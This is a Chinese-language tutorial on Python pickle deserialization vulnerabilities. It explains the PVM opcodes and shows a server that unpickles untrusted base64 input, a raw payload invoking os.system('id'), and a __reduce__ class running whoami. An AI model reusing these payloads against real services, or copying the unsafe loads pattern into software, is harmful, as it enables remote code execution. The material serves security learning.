python的反序列化和其他语言的类似功能类似,都是将对象数据转化为字节流方便存储与流转,使用时在将其转化回对原始对象的过程
python中的反序列化一般有两种方式:pickle模块与json模块,前者为python特有格式,后者使用通用json格式
python反序列化漏洞主涉及以下几个概念pickle,pvm,__redurce__ ,魔术方法
pickle
pickle是python的内置的反序列化模块,核心功能是将python对象转化为字节流(序列化),以及将字节流还原为对象(反序列化)
简单演示:
import base64
import pickle
data = {
"name":"123123",
"age":30
}
datapic = pickle.dumps(data)
print(base64.b64encode(datapic))
服务端
import base64
import pickle
data = input("Enter payload: ").encode()
obj = pickle.loads(base64.b64decode(data))
print(obj)
Enter payload: gASVHQAAAAAAAAB9lCiMBG5hbWWUjAYxMjMxMjOUjANhZ2WUSx51Lg==
{'name': '123123', 'age': 30}
pickle可以用于绝大多数python对象,他的操作方法有如下四种
- dump 对象序列化到文件对象并存入文件
- dumps 对象序列为字节流
- load 对象反序列化,从文件读取数据
- loads 对象反序列化,从字节流读取数据
PVM
python虚拟机的简写,先前序列化出来的内容其实就是pvm的操作内容
PVM结构
pvm所处理的数据是是一个二进制字节流,由协议头、操作码、数据段、和状态控制符组成
\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.
通过pickletools可以将其分解可读的操作码
import pickletools
payload = b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
# 查看 PVM 指令分解
pickletools.dis(payload)
0: \x80 PROTO 4
2: \x95 FRAME 29
11: \x8c SHORT_BINUNICODE 'posix'
18: \x94 MEMOIZE (as 0)
19: \x8c SHORT_BINUNICODE 'system'
27: \x94 MEMOIZE (as 1)
28: \x93 STACK_GLOBAL
29: \x94 MEMOIZE (as 2)
30: \x8c SHORT_BINUNICODE 'id'
34: \x94 MEMOIZE (as 3)
35: \x85 TUPLE1
36: \x94 MEMOIZE (as 4)
37: R REDUCE
38: \x94 MEMOIZE (as 5)
39: . STOP
-
协议头 标识使用的pickle协议版本一般使用
-
格式
协议0:无显式标头
协议1-5 :以
\x80开头,后跟协议版本号(如协议4为\x80\x04) -
操作码
操作码(Hex) 指令名 功能描述 \x80PROTO 声明协议版本 \x95FRAME 定义数据帧边界(协议4+) \x8cSHORT_BINUNICODE 加载短长度字符串(≤255字节) \x93STACK_GLOBAL 组合模块名和函数名(如 os.system)\x85TUPLE1 构建1个元素的元组 \x52REDUCE 调用可调用对象(触发 __reduce__方法)\x94MEMOIZE 缓存当前对象到备忘录(优化重复数据存储)
-
-
基于栈的执行模型
-
操作逻辑
pvm是一个栈式的虚拟机所有操作通过压栈(PUSH)、弹栈(POP)完成
# 执行流程模拟(对应上述 payload) 1. 压入 "os" → 栈: ["os"] 2. 压入 "system" → 栈: ["os", "system"] 3. STACK_GLOBAL → 组合为 `os.system` → 栈: [os.system] 4. 压入 "id" → 栈: [os.system, "id"] 5. TUPLE1 → 构建元组 → 栈: [os.system, ("id",)] 6. REDUCE → 调用 os.system("id") → 执行命令
-
上面提到了存在多个版本,我们在序列化时候可以使用protocol=num选择版本
import os
import pickle
class Demo():
def __init__(self, name='h3rmesk1t'):
self.name = name
def __reduce__(self):
return (os.system, ('whoami',))
demo = Demo()
for i in range(6):
print('[+] pickle v{}: {}'.format(str(i), pickle.dumps(demo, protocol=i)))
漏洞触发
漏洞的触发关键在于__reduce__()函数,这个函数类似于php中的__wakeup()方法,在python中反序列化开始会先调用__reduce__()魔术方法